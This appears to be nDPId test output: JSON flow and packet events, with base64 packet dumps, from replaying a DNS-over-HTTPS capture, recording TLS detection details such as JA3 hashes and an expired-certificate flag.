+00507{"flow_id":33,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":558,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739661,"pkt_ts_usec":558588,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"ZmZmZmZmRERERERECABFAABp7pNAADQGjFK561EBCgAAAQG7rqCUbU4Ds+Zb+FAYA+rjgQAAFwMDADz8EhRHRoEIGQSdXCQImbp\/kE02TJ3P2JKfMrXSLN2s0fZwe6bzpYKn57VMu3ihtS7cmJf9RaTPQ423d6g="} +00460{"flow_id":33,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":559,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739661,"pkt_ts_usec":558722,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHx6lAAK8GOF4KAAABuetRAa6gAbuz5lv4lG1ORFAYAfXL4gAAFwMDABq2pz77x0Spcx+S5cJ15Kr8yUOJz7rCg6vZqA=="} +00752{"flow_id":33,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":560,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739661,"pkt_ts_usec":578609,"pkt_caplen":300,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":300,"pkt_l4_len":266,"pkt":"ZmZmZmZmRERERERECABFAAEe7pRAADQGi5y561EBCgAAAQG7rqCUbU5Es+Zb+FAYA+pHfgAAFwMDAPEq+AAN4OOGz2PFvsXGwLmERFftSwIvlatBQPPp3Tpcl+tRmMLE1bof51iC\/jDoI3iAUHEfYu9MPcywFni2OthFT1RIweIBH7P0Pqj6MGnoJUxgJ\/GKsJuciCr4bdqjpe+Wqwre3tRn7iEPSFaS1aFPxwpTxb27Hm3CBmx6UrY6nmEEX59Tgwpx8RUVMDAjYeboT2BBHXstFPir22ebrX\/JcdmlzNTbY4dt9am6Zt2Myg9uQKD3\/0OqynsDvUcRBYBOrCDJGBk2dp4pSKbQayqWNRv0Heku2+iNA+kxwq7BGRv6M4HOM78lHhqW8NkDKFoY"} +00465{"flow_id":33,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":561,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739661,"pkt_ts_usec":578915,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"REREREREZmZmZmZmCABFAABLx6pAAK8GOFkKAAABuetRAa6gAbuz5lwXlG1POlAYAfXL5gAAFwMDAB47P6zsJLwbwYHugGHZbxWAzApODX7VmeBEgUQGckw="} +00449{"flow_id":33,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":562,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739691,"pkt_ts_usec":578957,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"REREREREZmZmZmZmCABFAABAx6tAAK8GOGMKAAABuetRAa6gAbuz5lw6lG1POlAYAfXL2wAAFwMDABMWEHy35xGvTWnWCOeYpetAF3W+"} +00449{"flow_id":33,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":563,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739691,"pkt_ts_usec":599667,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"ZmZmZmZmRERERERECABFAABA7pZAADQGjHi561EBCgAAAQG7rqCUbU86s+ZcU1AYA+q7SwAAFwMDABMugBtN+BphYqwIRyb7JrNaAFhQ"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":564,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":946739879619,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":35742,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00805{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":564,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739879,"pkt_ts_usec":619145,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"REREREREZmZmZmZmCABFAAFIcKVAAGQGIToKAAAB0frxGYueAbsFpAMoj2Q4kFAYAfaFCwAAFgMBARsBAAEXAwNRmx2nSkx+6m6KcnM1jGr2d9+E6hEUWeU+Rct80JF14yBFUW7fbN2m28L3JLX9K8uSgoBCeEP2oBBIn6aFnchRZQAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACoAAAAFwAVAAASamFyamFyLm1lZ2FuZXJkLm5sAAUABQEAAAAAAAoACgAIAB0AFwAYABkACwACAQAADQAaABgIBAQDCAcIBQgGBAEFAQYBBQMGAwIBAgP\/AQABAAAQAA4ADAJoMghodHRwLzEuMQASAAAAKwAJCAMEAwMDAgMBADMAJgAkAB0AILzmWxHpwarRt4Ej829OBgtUnpC5uzX3e58yGu+riJtB"} +00779{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":564,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":946739879619,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":35742,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"jarjar.meganerd.nl","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +03182{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":565,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739879,"pkt_ts_usec":647275,"pkt_caplen":2102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2102,"pkt_l4_len":2068,"pkt":"ZmZmZmZmRERERERECABFAAgoIhBAADcGle\/R+vEZCgAAAQG7i56PZDiQBaQESFAYAfWL6wAAFgMDAGYCAABiAwOvuIoBv9aLdY9+pRuVYLTvaIEBB5j8JJqoUP\/T+o4DJyAaq0H4FgIYS60khmCU6D9TGVas7XFToGUgExNzFU9aPcAwAAAa\/wEAAQAACwAEAwABAgAFAAAAEAAFAAMCaDIWAwMKAwsACf8ACfwABWAwggVcMIIERKADAgECAhIDDKJHTnwjwsnrm2DLrI1zNLUwDQYJKoZIhvcNAQELBQAwSjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUxldCdzIEVuY3J5cHQxIzAhBgNVBAMTGkxldCdzIEVuY3J5cHQgQXV0aG9yaXR5IFgzMB4XDTIwMDcxNDIzNDcyMVoXDTIwMTAxMjIzNDcyMVowHTEbMBkGA1UEAxMSamFyamFyLm1lZ2FuZXJkLm5sMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv9OPyuZ6JwIE6bPDfiRhbYPMkVlSRq93tijiXoOFC9OQc4eXtoMomU6kKPy5Z0NTzEB3WAHxrA4SRx6q3\/yefPeWA8HsMuYfQZpftg95obbyxbYYejVTJGcDt7bBAbyfyHwpa9VQXCZ1NM6170XCwqiTXQ5pCT67h001VbP663EnKohkf0MUwppbn6Q5xEFc+o+3D6IU\/rxkzW1SQTh0phbzb1Op8DfM63A\/ZtxaA5UoEOBp23CMkB\/vP5ul2uJharTqU\/BfvvV3HB\/zu9o43hkbooUEyMuBJn0+O6orVhwG1QVKM6xj5TM6ZcijU2+3rS+x7vNJUt\/bTHh7sHDviQIDAQABo4ICZzCCAmMwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRLbCV+QerkMWgquQ7dzQvZqcefiTAfBgNVHSMEGDAWgBSoSmpjBH3duubRObemRWXv86jsoTBvBggrBgEFBQcBAQRjMGEwLgYIKwYBBQUHMAGGImh0dHA6Ly9vY3NwLmludC14My5sZXRzZW5jcnlwdC5vcmcwLwYIKwYBBQUHMAKGI2h0dHA6Ly9jZXJ0LmludC14My5sZXRzZW5jcnlwdC5vcmcvMB0GA1UdEQQWMBSCEmphcmphci5tZWdhbmVyZC5ubDBMBgNVHSAERTBDMAgGBmeBDAECATA3BgsrBgEEAYLfEwEBATAoMCYGCCsGAQUFBwIBFhpodHRwOi8vY3BzLmxldHNlbmNyeXB0Lm9yZzCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB3AF6nc\/nfVsDntTZIfdBJ4DJ6kZoMhKESEoQYdZaBcUVYAAABc0\/ws2wAAAQDAEgwRgIhAMWgM8fCSKocSMS6vNmRTIKDzMWXKgtHRh\/4TftRR0QHAiEA3JSerrntM9u7waurWrvwybuL6dB9RsJnzjR8MMY9tuIAdQAHt1wb5X1o\/\/Gwxh0jFce65ld8V5S3au68YToaadOiHAAAAXNP8LOOAAAEAwBGMEQCIG6J2T+qpPVVFxjS27cFglwKmn3u\/zi2QCL4kFgVvwefAiAZm3eKKyeMogTwUuYzbx+RsfIEqA9nNOdkRRv\/z1FxuzANBgkqhkiG9w0BAQsFAAOCAQEAcAija84yR1ADOoiyrdQFCgxJZB2BUUNBtRgi8ZPFZIdUaVPomyGL3oK59c6IO+gMw6xbSeGsLaVjettLRMJ2uMl6JZkgjV1Bhp3NdPQKieFpoaEiEBUAwqL8TSBKdJ\/mAMQLAKadqZ1hZKcVTPtXVdd5Q28iLasE\/NjtopLZOa1XOJt0sUbRAHa2FOZzb42ureqnIdzzYgm+hY18KJUkfrSxCg2dd4MTgQuYu+ZhUpaMB2rAm94XcTgVTGO5ADi5NM0oEFFNdNKrAyCom1jWC2m8LyYfCzUJEAYCAUd1WL438vW1Z0FQZK5dAca9qTf6FxrRdYRYrY7oGND3IwvyWwAEljCCBJIwggN6oAMCAQICEAoBQUIAAAFThXNqC4XspwgwDQYJKoZIhvcNAQELBQAwPzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QgQ28uMRcwFQYDVQQDEw5EU1QgUm9vdCBDQSBYMzAeFw0xNjAzMTcxNjQwNDZaFw0yMTAzMTcxNjQwNDZaMEoxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MSMwIQYDVQQDExpMZXQncyBFbmNyeXB0IEF1dGhvcml0eSBYMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJzTDPBa5S5Ht3JdN4OzaGMw6tc1Jhkl4b2+NfFwki+3uEtBBaupnjUIWOyxKsRohwuj43Xk5vOnYnG6eYFgH9eRmp\/z0HhncchpDpWRz\/7mmelgPEjMfspNdxIknUcbWuu57B43ABycrHunBerOSuu9QeU2mLnL\/W08lmjfIypCkAyGdGfIf6WauFJhFBM\/ZemCh8vb+g5W9oaJ84U\/l4avsNwa72sNlRZ9xCugZbKZBDZ1gGusSvMbkEl4L6KWTyogJSkExnTA0DHNjzE4lRa6qDO4Q\/GxH8Mwf6J5MRM9LTb44\/zyM2q5OTHFr8SNDR1kFjOq+oQpttQLwNh9w5MCAwEAAaOCAX0wggF5MBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0="} +00847{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":565,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":2,"flow_first_seen":946739879619,"flow_last_seen":946739879647,"flow_tot_l4_data_len":2376,"flow_min_l4_data_len":308,"flow_max_l4_data_len":2068,"flow_avg_l4_data_len":1188,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":35742,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"jarjar.meganerd.nl","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"2464432ec440b95b36263230c3148d11","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02424{"flow_id":34,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":566,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739879,"pkt_ts_usec":647564,"pkt_caplen":1535,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1535,"pkt_l4_len":1501,"pkt":"ZmZmZmZmRERERERECABFAAXxIhJAADcGmCTR+vEZCgAAAQG7i56PZECQBaQESFAYAfWJtAAADwEB\/wQEAwIBhjB\/BggrBgEFBQcBAQRzMHEwMgYIKwYBBQUHMAGGJmh0dHA6Ly9pc3JnLnRydXN0aWQub2NzcC5pZGVudHJ1c3QuY29tMDsGCCsGAQUFBzAChi9odHRwOi8vYXBwcy5pZGVudHJ1c3QuY29tL3Jvb3RzL2RzdHJvb3RjYXgzLnA3YzAfBgNVHSMEGDAWgBTEp7Gkeyxx+tvhS5B1\/8QVYIWJEDBUBgNVHSAETTBLMAgGBmeBDAECATA\/BgsrBgEEAYLfEwEBATAwMC4GCCsGAQUFBwIBFiJodHRwOi8vY3BzLnJvb3QteDEubGV0c2VuY3J5cHQub3JnMDwGA1UdHwQ1MDMwMaAvoC2GK2h0dHA6Ly9jcmwuaWRlbnRydXN0LmNvbS9EU1RST09UQ0FYM0NSTC5jcmwwHQYDVR0OBBYEFKhKamMEfd265tE5t6ZFZe\/zqOyhMA0GCSqGSIb3DQEBCwUAA4IBAQDdM9cR82NYON0YFfsJVb52VrlwSKVpRyd7wiQIkvFaH0oSKTckdFEcYmi4zZVwZ+X3pLxOKFHNm+iuh53q2LpaoQGa3PDdah1q2D5XI56mHgRimv\/XBcq3Hz\/ACki8lLC2ZWLgwVTloyqtIMTp5rvcyPa1wzKjmMx3qOZ5ZQcryyj+OhZSgc5SDC5fg+jVBjP7d2zOQOoynh+SXEHBdGxbXQpfM8xNn6w48C97LGKd2aORbyUbL5CxGUY99n4bpnqHuaN6bRj6JaWRhxXg8hYvWLAGLyxoJsZLmM3anwz5f5DtQ0oSRE5vc3oo6qSqbntMfYfd4MkCRKeHr8M0W7RCFgMDAhcWAAITAQACDzCCAgsKAQCgggIEMIICAAYJKwYBBQUHMAEBBIIB8TCCAe0wgdahTDBKMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3MgRW5jcnlwdDEjMCEGA1UEAxMaTGV0J3MgRW5jcnlwdCBBdXRob3JpdHkgWDMYDzIwMjAwOTA0MDA0OTAwWjB1MHMwSzAJBgUrDgMCGgUABBR+5mrncpqz\/PiiIGRsFqEtYHEIXQQUqEpqYwR93brm0Tm3pkVl7\/Oo7KECEgMMokdOfCPCyeubYMusjXM0tYAAGA8yMDIwMDkwNDAwMDAwMFqgERgPMjAyMDA5MTEwMDAwMDBaMA0GCSqGSIb3DQEBCwUAA4IBAQAoMB1ePZKC8NpTy2434kCI6h8NAXGSDejnRZYFr2QSx+TpoZipUWbMWCq8UzrMIxKC8UJACJQc6RIM+Xgz0ZRbGx25OD3V4vLxsczn\/nEIsXCHGvGoEBJqPqesQfpmU9r+oB2CbUgxGaJxDFqnidG6tH5KNxFVbrX2lPzXeDzKwLN1eUiZU\/lMuAOJwkK8zmwVXP5H7g6aco+MiZp06K8b\/Da3w0YGUY9fjEablMtV5ViuxARhZw1pWYWZo\/jGfvICDNvPKmx8V1X1Z4R8rNjm8UiPRR8P0NarasVvNtWs+6fXGpl\/hFMZzj6z4oAVh0vYNXKYxmaDs8l6pH8OOZ\/cFgMDASwMAAEoAwAdIKQoxhH\/Z4NdCHDs7qK8wmGbCtHgbBpAtyYYPJoz0BNpCAQBAI2s5yjtMrI9QJNozqSEdCsumaSKt\/QNxoJ5PFMWs10MAWl+5CjGLSlpjhytuQkP602gJ28TSQHyyO39DQ2pHRZ1MjKiwLUGQnSrx7B1qsIRx8U65WEhaQ\/Oefjv8VGGg2Nnh0hcGrHjYUxlGavnUge+GnGDrvgzWTdBb6fu\/ASgdFWYo\/L\/cx\/DQSF7KqdfFLYtqS\/mVGjCi+aU3DGzfokfH8gTddjOpZA9DbKNE5R+fiOUj+uHJsETXL1+AHkZ1DyEVNTPTtlzClPqiVFZoiQLHaM5Rks\/r\/SATzjVrNW7MyikygwLvRY4rKK4uz5N88k\/vqkRvVB4EA04vef95bIWAwMABA4AAAA="} +01105{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":566,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":3,"flow_first_seen":946739879619,"flow_last_seen":946739879647,"flow_tot_l4_data_len":3877,"flow_min_l4_data_len":308,"flow_max_l4_data_len":2068,"flow_avg_l4_data_len":1292,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":35742,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"9":"TLS Expired Certificate"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"jarjar.meganerd.nl","server_names":"jarjar.meganerd.nl","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"2464432ec440b95b36263230c3148d11","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3","issuerDN":"CN=jarjar.meganerd.nl","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"17:C9:8C:F5:DD:1F:0E:0F:DC:C5:42:4F:ED:C4:CD:57:5A:5D:7A:4F"}} +00547{"flow_id":34,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":567,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739879,"pkt_ts_usec":649898,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"REREREREZmZmZmZmCABFAACFcKhAAGQGIfoKAAAB0frxGYueAbsFpARIj2RGWVAYAfWESAAAFgMDACUQAAAhIDhgl\/pgcZzI6lO9kUAZaFzioUwXXdw7Ym0x6dU\/q10rFAMDAAEBFgMDACgAAAAAAAAAAOFPtsf5Zh\/ZpfjCXPcTMYNe90ERP2qdVmtu1keYta\/S"} +00486{"flow_id":34,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":568,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739879,"pkt_ts_usec":676025,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"ZmZmZmZmRERERERECABFAABbIhRAADcGnbjR+vEZCgAAAQG7i56PZEZZBaQEpVAYAfVgFwAAFAMDAAEBFgMDACjtN4hu+Wj5TjjaWNwCyZ8ctKfP1eL5gPNYY2UtZk64saxD6JdGPhjz"} +00514{"flow_id":34,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":569,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739879,"pkt_ts_usec":676058,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"ZmZmZmZmRERERERECABFAABtIhVAADcGnaXR+vEZCgAAAQG7i56PZEaMBaQEpVAYAfW7lgAAFwMDAEDtN4hu+Wj5T72OhZyUZQISOWl\/\/qTKLhF2qZvrmv3+8i7gpYLzyJ27T1c244ZQ8rq8Ep2UkicIrJvjhNE5\/mV\/"} +00544{"flow_id":34,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":570,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739879,"pkt_ts_usec":676307,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"REREREREZmZmZmZmCABFAACFcKpAAGQGIfgKAAAB0frxGYueAbsFpASlj2RG0VAYAfWESAAAFwMDAFgAAAAAAAAAAa280Fxh3JW46GJAjjYu7f0AHRGlloII3NWdDFRR7g7uAAWHe42u\/SRLCv2XeFgp7Y8JMnKsKBfc1lIKIwFqkTIuFvkG7Q20AuAJqIbfZCaO"} +00655{"flow_id":34,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":571,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739879,"pkt_ts_usec":676510,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"REREREREZmZmZmZmCABFAADZcKtAAGQGIaMKAAAB0frxGYueAbsFpAUCj2RG0VAYAfWEnAAAFwMDAKwAAAAAAAAAAvdgXqkoTGsNMGDbMEPZs060afb5FBw8aNJXBj3x0ikE8tS+70XTD6v7NIj83Jl4aHfI5M+M9ntUaIMUeHes31olc0R0IcoameWjBJMGcQZYjYSCEe12Rds+SDdZ3LheQJPS1sIvutWg9Gcbqy6+1zhgr7JbVuY9ymFOF39Rs01jFk9NnBaExDspDWOs4Un4OVLNDhP64cb+aQZR6MM7JrdCkhYX"} +00612{"flow_id":34,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":572,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739879,"pkt_ts_usec":676606,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"REREREREZmZmZmZmCABFAAC4cKxAAGQGIcMKAAAB0frxGYueAbsFpAWzj2RG0VAYAfWEewAAFwMDACEAAAAAAAAAA6CQqxFlSAHeIGrNjv2oOUR3J0LxPSBmRNgXAwMAZQAAAAAAAAAExHOEvRhOCPX8FBYzFH5SzQbMc1\/PQCi5oUyd3xEuWtFGchJuac7fE2AflAd517YV1PK1PLzgzI16FJ1uwBGcVaS+ZZdB1nwtgUxs1fywQdiqN6mdFg6AuG3724Et"} +00471{"flow_id":34,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":573,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739879,"pkt_ts_usec":702055,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"ZmZmZmZmRERERERECABFAABOIhdAADcGncLR+vEZCgAAAQG7i56PZEbRBaQFs1AYAfUjDAAAFwMDACHtN4hu+Wj5UOMafaC9vTy\/Mct502s5JfkjzPTjcT\/XAoo="} +00473{"flow_id":34,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":574,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739879,"pkt_ts_usec":702222,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"ZmZmZmZmRERERERECABFAABSIhhAADcGnb3R+vEZCgAAAQG7i56PZEb3BaQFs1AYAfWevQAAFwMDACXtN4hu+Wj5UQTQ8xGzr5tXNbl6A4DoCWK916SfRq4aMmGacpiP"} +00808{"flow_id":34,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":575,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739879,"pkt_ts_usec":797498,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"ZmZmZmZmRERERERECABFAAFIIhpAADcGnMXR+vEZCgAAAQG7i56PZEchBaQGQ1AYAfXh1wAAFwMDARvtN4hu+Wj5UmDU\/NMvzW4ZaZqdIfuvzN649M3dg1IslZuV497wZdEWN18SPWfNvNW8q4xHtzKTRCxZAREEWQlp4nWAChN9Hf0WxJtC4IwpmzNwtcEChHWK9OqnFadz54IjXtGIgyjPtiP9fPB2F8WZ5zS+xv6fFfbEDAHBnShO4sPY76jns+QN2mo17OrzBGKkRb9cfJAt3iMizwZUpOlQOP2GiA85Nvlo6Yb9YkROjwvoZdV9nxmOZsEFjMzRr4OgXqZov\/LdhkmpLzhTBsID8buM\/NdEZejpGf0vO4i4denS\/k8t04Fc8guOCMoh6UEz6cm3PEl+vJqH8CPXw5T1kX6wZ8C7qcgMbHakCiCtWYQ2ONg2qedqPksX"} +00474{"flow_id":34,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":576,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739879,"pkt_ts_usec":797870,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"REREREREZmZmZmZmCABFAABScK5AAGQGIicKAAAB0frxGYueAbsFpAZDj2RIQVAYAfWEFQAAFwMDACUAAAAAAAAABVhjIGTs+\/AOgfYG19x5nx37HUS1BlwfDA6hyRYj"} +00461{"flow_id":34,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":577,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739888,"pkt_ts_usec":204388,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHcK9AAGQGIjEKAAAB0frxGYueAbsFpAZtj2RIQlAYAfWECgAAFQMDABoAAAAAAAAABvrFh2UDsPRtvqC2sowvAB5faw=="} diff --git a/test/results/doq.pcapng.out b/test/results/doq.pcapng.out new file mode 100644 index 000000000..cdf11c863 --- /dev/null +++ b/test/results/doq.pcapng.out @@ -0,0 +1,24 @@ +00459{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"doq.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1606056093199,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"::1","dst_ip":"::1","src_port":47826,"dst_port":784,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 